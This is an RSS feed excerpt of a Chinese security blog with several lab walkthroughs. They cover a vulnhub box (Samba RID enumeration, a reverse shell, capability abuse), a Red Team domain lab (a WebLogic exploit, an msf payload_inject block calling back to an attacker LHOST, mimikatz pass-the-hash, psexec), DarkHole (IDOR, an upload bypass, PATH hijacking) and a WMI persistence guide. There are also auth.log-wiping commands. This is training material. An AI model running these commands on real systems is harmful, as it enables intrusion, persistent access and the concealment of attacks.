&lt;li&gt;利用在线网站或工具进行解密，得到字符&lt;code&gt;.2uqPEfj3D&amp;lt;P&apos;a-3&lt;/code&gt;，可能是一个凭据。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.CWf9r0GW_Z13s07c.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;打开10000端口的webmin，猜测用户名失败，考虑到有开启samba服务，通过&lt;code&gt;smbclient -L 目标IP -N&lt;/code&gt;列出目标机器共享资源，有&lt;code&gt;IPC$&lt;/code&gt;，然后利用139/445端口的Samba服务进行RID枚举，有很多方法，文中先演示自动化的enum4linux（执行&lt;code&gt;enum4linux &amp;lt;host&amp;gt;&lt;/code&gt;爆破出cyber用户），其余方法在文末会有补充。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.C00q5gEE_Z1BiPq8.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;分别尝试10000端口和20000端口的webmin和usermin，usermin通过刚才用户和凭据成功登录，可以看到左下角有个命令提示符的标识。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.BKHspYlg_zcsFr.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;那么在攻击机器打开监听，通过bash反弹一个shell给我们的攻击机器。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.djygPyE0_1WMg1q.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;进行初步探测，没有sudo命令，当前目录有个tar权限很高。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.5LwSH9if_Z2g1o4V.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;getcap -r / 2&amp;gt;/dev/null&lt;/code&gt;查看在Linux系统中递归搜索所有设置了文件能力（capabilities）的文件，得到结果有&lt;code&gt;/home/cyber/tar cap_dac_read_search=ep&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;在通过&lt;code&gt;find / -type f \( -name &quot;*.bak&quot; -o -name &quot;*pass*&quot; \) -print 2&amp;gt;/dev/null&lt;/code&gt;寻找敏感文件时，发现一个密码备份文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.DAiKLmnX_ZF687C.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;这时候我们可以考虑用tar的&lt;code&gt;cap_dac_read_search=ep&lt;/code&gt;能力：“可以无视文件访问控制列表（ACL）中的标准读权限限制，去读取系统上的任何文件”，去读取该备份文件（以下命令即利用该能力打包一个无权读的文件）
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.DP-juMv-_1CV4FC.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;利用发现的密码，通过su，成功切换到root。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.DA6kLU92_1aYhos.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;li&gt;拿到root后，可以通过“清除命令历史&lt;code&gt;history -c&lt;/code&gt;清空当前shell的历史记录。以及&lt;code&gt;unset HISTSIZE&lt;/code&gt;让后续操作不再被记录。并删除掉创建的文件，以及通过&lt;code&gt;sed -i &apos;/cyber.*su.*root/d&apos; /var/log/auth.log&lt;/code&gt;清除篡改系统认证日志，来尽可能清除痕迹。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Linux Capabilities 是将传统root权限拆分为独立的细粒度权限单元的机制，用于按需授权和提升系统安全性。如SUID或者sudo将root的完全权限直接给了程序，风险自然很高。而Capability机制则是把权限细分给程序，比如只给它读文件的权限，如本靶机只给程序&lt;code&gt;cap_dac_read_search=ep&lt;/code&gt;能力（不过不合理的分配还是导致了风险）。更详细可参考相关文章描述：&lt;a href=&quot;https://www.cnblogs.com/sparkdev/p/11417781.html&quot;&gt;&apos;https://www.cnblogs.com/sparkdev/p/11417781.html&apos;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;找到一篇应该是红队笔记的writeup，关于rpc用户枚举十分详细的介绍&lt;a href=&quot;https://xz.aliyun.com/news/91407&quot;&gt;&apos;https://xz.aliyun.com/news/91407&apos;&lt;/a&gt;，包括其它工具的尝试，其中同样可以成功的比如rpcclient手动交叉查询，利用Samba混合环境的身份映射机制，通过POSIX的UID与SID的交叉查询来撞出用户名，简单步骤如下：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;通过rpcclient连接收集环境信息：使用enumdomains命令枚举域，在此环境中得到了BREAKOUT和内置域Builtin。并用lookupdomain查询这两个域，获得它们的SID前缀，确认了Samba的身份映射机制。&lt;/li&gt;
&lt;li&gt;查已知UID的映射：用&lt;code&gt;lookupnames root&lt;/code&gt;获取内置root用户映射出的SID格式。&lt;/li&gt;
&lt;li&gt;尝试撞真实用户：按POSIX规范（普通用户UID从1000开始），构造的sid并用&lt;code&gt;lookupsids S-1-5-21-xxxxx-1000&lt;/code&gt;查询UID 1000对应的名称时成功将RID 1000返回了Linux的真实用户名cyber。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;UID、RID、SID区分：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;windows的SID格式如：S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-RID（RID为区分用户的值，其它在同个域内固定不变）。&lt;/li&gt;
&lt;li&gt;Linux的UID（一个非负整数，其分配遵循POSIX惯例）：root:0，1-999为系统用户/预留用户，1000+为普通用户/交互式用户。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>红日安全靶场-ATT&amp;CK-2（weblogic利用+msf、C2联合域渗透）</title><link>https://www.dxowo8.top/posts/post-28/28/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-28/28/</guid><description>记录红日靶场-2渗透过程和思路</description><pubDate>Sun, 03 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;红日安全靶场-ATT&amp;amp;CK-2（weblogic利用+msf、C2联合域渗透）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人红日安全靶场-ATT&amp;amp;CK-2的复现通关记录，旨在分享靶机和记录学习心得体会，由于本人域知识较为薄弱，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;http://vulnstack.qiyuanxuetang.net/vuln/detail/3/&quot;&gt;&apos;http://vulnstack.qiyuanxuetang.net/vuln/detail/3/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;环境搭建&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;环境搭建可参考官方介绍（如下图），实际在VMWare中可以通过设置PC、WEB为NAT（192.168.111.0/24）+仅主机模式（10.10.10.0/24）段，以及DC的仅主机模式进行搭建。（详细搭建中很多细节可参考视频&lt;a href=&quot;&apos;https://www.bilibili.com/video/BV1De4y1a7Ps/?spm_id_from=333.1007.top_right_bar_window_history.content.click&amp;amp;vd_source=bf6e70c9a35cc4e89aa6a48a72b2aa98&apos;&quot;&gt;https://www.bilibili.com/video/BV1De4y1a7Ps/?spm_id_from=333.1007.top_right_bar_window_history.content.click&amp;amp;vd_source=bf6e70c9a35cc4e89aa6a48a72b2aa98&lt;/a&gt;，比如开启web服务等细节就不多介绍了）
&lt;img src=&quot;https://www.dxowo8.top/_astro/en.Bon1nmqg_qCDEl.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;官方拓扑图可参考下图。
&lt;img src=&quot;https://www.dxowo8.top/_astro/tpt.8WDwIqQK_1LVInE.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;初步渗透&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;扫描一下，看到暴露的两个IP分别是WEB和PC（DC处于内网环境无法接触外网）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.BlxQcZ4R_Z1Dgn4y.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对发现主机进行端口扫描，发现192.168.111.80是个WEB服务器，7001端口是weblogic服务器默认端口，尝试访问。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.Cf5QssAa_Z1tpoKQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问7001端口，网页没什么内容。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.DQUcU0aI_Z28t9hn.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过访问/console找到后台，尝试默认密码和弱密码登录无效。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.CbIXjPo0_Z1HIfeJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过github下载此工具，可以用于weblogic历史漏洞的探测和验证，发现了很多验证存在的漏洞。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.C5MiFjyn_USpyd.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;以CVE-2019-2725为例，通过searchsploit搜索利用脚本，将其下载手动验证。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.Do6rdQR8_Z2b8N5z.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;阅读脚本用法，需要我们通过msf框架生成payload，并且替换掉脚本payload字段内容，再通过python2执行。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.C_tiM_vt_Z1lwHyL.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;msf框架生成后复制payload，并替换python脚本指定内容。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.Dobi4rPJ_1UuYPu.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;按照如下操作打开msf的监听模块，并随后执行python脚本，拿到了与WEB主机的初始会话。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.BXt9lBS2_Q7YJR.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;经过验证是该主机与攻击主机连接。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.CMeGuvgy_ZUkWx7.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;WEB主机C2上线-方法一&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;由于个人习惯用C2进行域内操作，这里打算将WEB主机上线到C2，这里采用上传dll文件的方式获取控制。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.C2GEHxBA_Z1kPl67.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将生成的dll文件上传到可操作目录下。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.2MrOEQBK_2mf3eQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看目录确定上传成功。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.C8zvVjK0_dWw7W.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过以下方式，加载dll文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.D03B18Gk_10H5lj.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在C2客户端，WEB服务器已经上线。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.BAgEyrL2_Z1phmxO.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;WEB主机C2上线-方法二&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在文章&lt;a href=&quot;%E8%BD%AC%E7%A7%BB%E4%B8%8A%E7%BA%BFC2%EF%BC%8C%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0https://blog.csdn.net/weixin_54977781/article/details/131178720&quot;&gt;&apos;https://blog.csdn.net/weixin_54977781/article/details/131178720&apos;&lt;/a&gt;中，给出了msf和C2会话相互转移的方式，参照以上，先在C2客户端建立一个新的监听器。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.BoHkqpeO_Z1iQEjV.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在msf会话执行ps查看进程，由于目标机器为32位系统，需要找到图中为x86的进程，记下pid号，优先选择高权限的进程。
&lt;img src=&quot;https://www.dxowo8.top/_astro/18.CsZRzREL_Z1j2dwJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;按照顺序在msf中输入：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.111.131
set LPORT 82  //ip和端口根据自己设置监听器修改
set DisablePayloadHandler true
set PrependMigrate false
set PID 注入进程号  
set SESSION 1  //注意换成实际会话号，使用sessions -l查看  
exploit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/19.CLmsgxsB_Z13N24.webp&quot; alt=&quot;&quot; /&gt;
4. 这次成功以进程注入方式上线C2。
&lt;img src=&quot;https://www.dxowo8.top/_astro/20.C7n2SIWq_Z2bUFQw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;内网渗透与横向移动&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在beacon中收集域内信息。
&lt;img src=&quot;https://www.dxowo8.top/_astro/21.CO9_vtxH_Rfimt.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/22.BDMNsR6b_1g0qqX.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行中发现无法查看域名，意识到本机的SYSTEM并非域内账户。
&lt;img src=&quot;https://www.dxowo8.top/_astro/23.BzgJ0COX_Z1vucxp.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;先通过插件中的mimikatz获取域内密码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/25.DOo9aMGW_1dtRq8.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/26.4XqaNTKR_Z1A7tX5.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用C2官方功能，选中以域内mssql用户上线，这里用的新指定的一个监听器。
&lt;img src=&quot;https://www.dxowo8.top/_astro/27.B-frfrDa_Z196fo8.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/28.Dkg2Di30_XOrRh.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行后mssql如愿上线C2。
&lt;img src=&quot;https://www.dxowo8.top/_astro/29.CcGTgP6l_Z1TCah4.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;继续收集域内信息，确认了域名和域控主机地址。
&lt;img src=&quot;https://www.dxowo8.top/_astro/30.CkEMbSNQ_Z1yTLI.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用mimikatz进行PTH横向，此时拥有了域内administator的登录凭证。
&lt;img src=&quot;https://www.dxowo8.top/_astro/31.CmkU7mEP_1JK1cY.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;jump psexec 主机名 监听器&lt;/code&gt;的方式进行横向移动，成功获取域控和PC的控制权。
&lt;img src=&quot;https://www.dxowo8.top/_astro/32.CduHMrqI_2owRTE.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/33.XYXdymjT_lVfi6.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;对于上线C2主机的两个方法，个人认为第二个比第一个要适当隐蔽些，做到无文件落地，通过将恶意代码注入指定进程相对而言更隐蔽，但仍然有内存特征等，容易被发现，推荐对shellcode进行加密混淆或者在内存中动态解密，由于掌握不深，本篇很多方式都是仅考虑打靶完成度来进行的，而没有很注意隐蔽，包括后面的mimikatz存在明显特征容易被拦截和psexec会产生大量安全日志，在实战中则推荐使用其它途径寻找凭证，以及其它横向技术如WMI、DCOM、计划任务等。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set PrependMigrate false&lt;/code&gt; &lt;code&gt;set PID 注入进程号&lt;/code&gt;，在这里由于操作问题我手动指定的进程注入，实际可以优先通过设置&lt;code&gt;set PrependMigrate true&lt;/code&gt;注入后自动寻找并迁移到另一个稳定的系统进程（如 explorer.exe、svchost.exe），通常有更高的稳定性。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-DarkHole（IDOR越权+php上次绕过+Ghidra逆向+环境劫持）</title><link>https://www.dxowo8.top/posts/post-27/27/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-27/27/</guid><description>记录DarkHole靶机渗透过程和思路</description><pubDate>Thu, 30 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-DarkHole（IDOR越权+php上次绕过+Ghidra逆向+环境劫持）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的DarkHole靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://www.vulnhub.com/entry/darkhole-1,724/&quot;&gt;&apos;https://www.vulnhub.com/entry/darkhole-1,724/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，找到22、80端口开放，以及一些路径。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.C9gaQzsh_1T2jq8.webp&quot; alt=&quot;IP&amp;amp;details&amp;amp;ports&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.BHoKZuDQ_24IPgd.webp&quot; alt=&quot;scripts&quot; /&gt;&lt;/li&gt;
&lt;li&gt;进行路径爆破，扩大获得信息，有个upload文件夹，疑似上传文件所在目录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.B8RHgiG3_1H8oHm.webp&quot; alt=&quot;dir&quot; /&gt;&lt;/li&gt;
&lt;li&gt;从web页面的login模块随意注册一个账号登录进来，注意到url对于当前用户可能通过id=2来对应，可能存在不安全的直接对象引用。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.C_XkqfAo_1Odbfu.webp&quot; alt=&quot;url&quot; /&gt;&lt;/li&gt;
&lt;li&gt;启动burpsuite抓包修改密码请求，把最下面的id=2改为1，密码为aaa试一试，页面响应说修改成功。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.BCujY73H_10ytQO.webp&quot; alt=&quot;burp&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.CUCBXRbz_1jYWer.webp&quot; alt=&quot;success&quot; /&gt;&lt;/li&gt;
&lt;li&gt;用admin:aaa成功登录。（这里如果用户名猜不到，可以考虑通过本靶机网站制作者、主站链接等办法进一步信息收集）
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.BH_QInD9_Z1a4f34.webp&quot; alt=&quot;login&quot; /&gt;&lt;/li&gt;
&lt;li&gt;upload模块提示只能上传jpg、gif、png文件，尝试通过抓包绕过，发现不可以，但是通过随意上传无效扩展名的文件发现上传成功，说明使用的不完整黑名单。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.Dl_iJqya_Z1Afz1D.webp&quot; alt=&quot;revise&quot; /&gt;&lt;/li&gt;
&lt;li&gt;再尝试使用phar或phtml后缀上传，上传成功了，打开监听，在upload中访问文件，获得初始shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.Do9CVN75_1i7q1H.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;尝试查看sudo特权，根据反馈使用python（3）提高一下shell交互性，需要密码，我们另寻他路。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.DP7j9Sck_Z16xxvG.webp&quot; alt=&quot;detect&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在/home/john内无权限查看多数文件，在/var/www路径有个admin凭据，但经过尝试无法连接ssh，如图路径还有个凭据，这个凭据通过ssh也登录不上。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.Bt0K-tFH_1tmDij.webp&quot; alt=&quot;credit&quot; /&gt;&lt;/li&gt;
&lt;li&gt;刚才/home/john有一个遗漏点，有个文件toto权限比较特殊。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.GUR9B97R_Z1oDBgl.webp&quot; alt=&quot;toto&quot; /&gt;&lt;/li&gt;
&lt;li&gt;先用strings读取文件头几行，确认它是一个二进制可执行文件。然后，再用Ghidra打开它，主要利用它的反编译功能，把二进制代码还原成接近源代码的C语言伪代码，先创建新项目。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.Dg4RApGm_Z1QwhHt.webp&quot; alt=&quot;ghidra&quot; /&gt;&lt;/li&gt;
&lt;li&gt;打开toto文件并按默认选项进行反编译，查看main函数，执行了id并没有使用绝对路径，故可以考虑劫持。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.BTiyXCVY_2jTpsW.webp&quot; alt=&quot;main&quot; /&gt;&lt;/li&gt;
&lt;li&gt;按照下图方式在/tmp创建名为id的可执行文件，内容为打开新的shell，并export PATH，执行后切换到john用户。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.Bg3PdhoX_Z1E1oib.webp&quot; alt=&quot;tmp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;发现凭证，另外有sudo特权，可以root执行file.py。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.BT6VSeDd_1Q1JHV.webp&quot; alt=&quot;sudo&quot; /&gt;&lt;/li&gt;
&lt;li&gt;写一个简单python的脚本到file.py，执行成功提权到root。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.B7hfFnPP_ZcgDR1.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;phar和pthml类型文件为什么可以执行？&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;phar：可以把多个PHP文件打包成一个文件（可参考.jar文件），需在PHP代码中用phar://协议包含才运行，默认情况下，Web服务器不会将.phar当作脚本直接解析。&lt;/li&gt;
&lt;li&gt;phtml：一种常用于混写HTML和PHP的模板文件扩展名，Web服务器配置决定是否当作PHP解析的模板文件扩展名。&lt;/li&gt;
&lt;li&gt;但是本台靶机可能由于Web服务器对php解析配置不当，例如&lt;code&gt;AddType application/x-httpd-php .php .phar .phtml&lt;/code&gt;等非常规扩展名文件也可被当作PHP脚本直接执行。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;关于Ghidra工具：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;项目地址为&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot;&gt;&apos;https://github.com/NationalSecurityAgency/ghidra&apos;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;github官方项目介绍：该框架包含一套功能齐全的高端软件分析工具，使用户能够在包括 Windows、macOS 和 Linux 等多种平台上分析编译后的代码。功能包括反汇编、汇编、反编译、绘制图表和脚本，以及数百个其他功能。Ghidra 支持多种处理器指令集和可执行格式，并可在用户交互和自动化模式下运行。用户还可以使用 Java 或 Python 开发自己的 Ghidra 扩展组件和/或脚本。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;环境劫持原理：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;当程序调用外部命令（如本靶机system(&quot;id&quot;)）时，如果没有使用绝对路径（例如/usr/bin/id），操作系统会按照环境变量PATH中预设的顺序去搜索并执行第一个匹配的id命令。因此在本靶机情况下，在/tmp创建一个名为id的文件，注入恶意代码，并声明环境变量（将会提到PATH最前面），调用toto程序时会优先执行新添加的id文件。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>WMI长期订阅配合C2进行域内权限维持（CommandLineEventConsumer消费者）</title><link>https://www.dxowo8.top/posts/post-26/26/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-26/26/</guid><description>记录WMI订阅配合C2域内维持权限思路</description><pubDate>Sun, 19 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;WMI长期订阅配合C2进行域内权限维持（CommandLineEventConsumer消费者）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人搭建域环境，经查阅资料学习尝试WMI订阅权限维持的过程记录，本人能力有限若有谬误之处欢迎指正，博客所有文章纯属学习之用，不涉及商业利益，如有不合适引用，请通过主页联系方式联系我删除。&lt;/li&gt;
&lt;li&gt;文中涉及的所有工具使用请符合当地法律法规，未经授权造成的后果本人概不负责。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;WMI事件运行原理&lt;/h2&gt;
&lt;p&gt;WMI（Windows Management Instrumentation）事件是Windows系统中用于监控和响应系统变化的重要机制。它通过事件过滤器和事件消费者的组合，允许用户对特定事件进行订阅并触发相应的操作，本文正是通过以下三部实现WMI订阅来维持权限：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;创建一个事件过滤器，定义一个WQL查询，使用__TimerEvent创建一个每10秒触发一次的计时器事件。&lt;/li&gt;
&lt;li&gt;创建一个事件消费者，定义一个 CommandLineEventConsumer，指定触发时要执行的命令 cmd.exe /c c:\owo.exe。&lt;/li&gt;
&lt;li&gt;将过滤器与消费者绑定，使每次计时器事件触发时自动执行该命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;域环境介绍以及大致流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;域名为OWO，DC地址为192.168.130.10，web服务器地址为192.168.130.12，为了简单演示只打开了域内这两台机器，大概计划是从web服务器上传C2生成的windows的exe文件，拿到web服务器，提权到管理员以上权限，利用WMI持久化订阅进行权限维持验证，然后横向移动到域控机器，对域控机器也进行权限维持。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;实现步骤&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;C2创立并指定listener，生成windows可执行文件payload。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.l8mvLNvI_Z4Xo1b.webp&quot; alt=&quot;exe&quot; /&gt;&lt;/li&gt;
&lt;li&gt;利用漏洞将owo.exe上传到域内web服务器已知目录下，点击后在C2看到服务器已上线。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.DhKm0YbS_Z2tmFsk.webp&quot; alt=&quot;execute&quot; /&gt;&lt;/li&gt;
&lt;li&gt;利用C2的beacon交互执行&lt;code&gt;shell systeminfo&lt;/code&gt;查看系统相关信息，以及打的补丁，发现是win7系统，搜索对比发现少好几个补丁，包括ms14-058的补丁。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.DGCzykpE_Z13O1Mh.webp&quot; alt=&quot;KB&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用elevate指令，执行ms14-058的利用（可以通过导入插件扩展漏洞利用脚本），稍作等待，system权限的主机上线。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.Bmrv_FhF_A2GSw.webp&quot; alt=&quot;wmic&quot; /&gt;&lt;/li&gt;
&lt;li&gt;按照顺序执行以下指令（注意在beacon界面每句指令前加shell拼接执行wmic语句）：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wmic /NAMESPACE:&quot;\\root\subscription&quot; PATH __EventFilter CREATE Name=&quot;BugSecFilter&quot;, EventNamespace = &quot;root\cimv2&quot;, QueryLanguage=&quot;WQL&quot;, Query=&quot;SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = &apos;BugSecFilter&apos;&quot;&lt;/code&gt;来注册一个 WMI 事件过滤器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wmic /NAMESPACE:&quot;\\root\subscription&quot; PATH CommandLineEventConsumer CREATE Name=&quot;BugSecConsumer&quot;, CommandLineTemplate=&quot;cmd.exe /c c:\owo.exe&quot;&lt;/code&gt;来注册一个 WMI 事件消费者。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wmic /NAMESPACE:&quot;\\root\subscription&quot; PATH __FilterToConsumerBinding CREATE Filter=&apos;\\.\root\subscription:__EventFilter.Name=&quot;BugSecFilter&quot;&apos;, Consumer=&apos;\\.\root\subscription:CommandLineEventConsumer.Name=&quot;BugSecConsumer&quot;&apos;&lt;/code&gt;将事件消费者绑定到事件过滤器。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;将system会话关掉等待自动连接，过了一阵SYETEM重新上线，所预期的权限维持成功。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.BozQbkbu_elxny.webp&quot; alt=&quot;del&quot; /&gt;
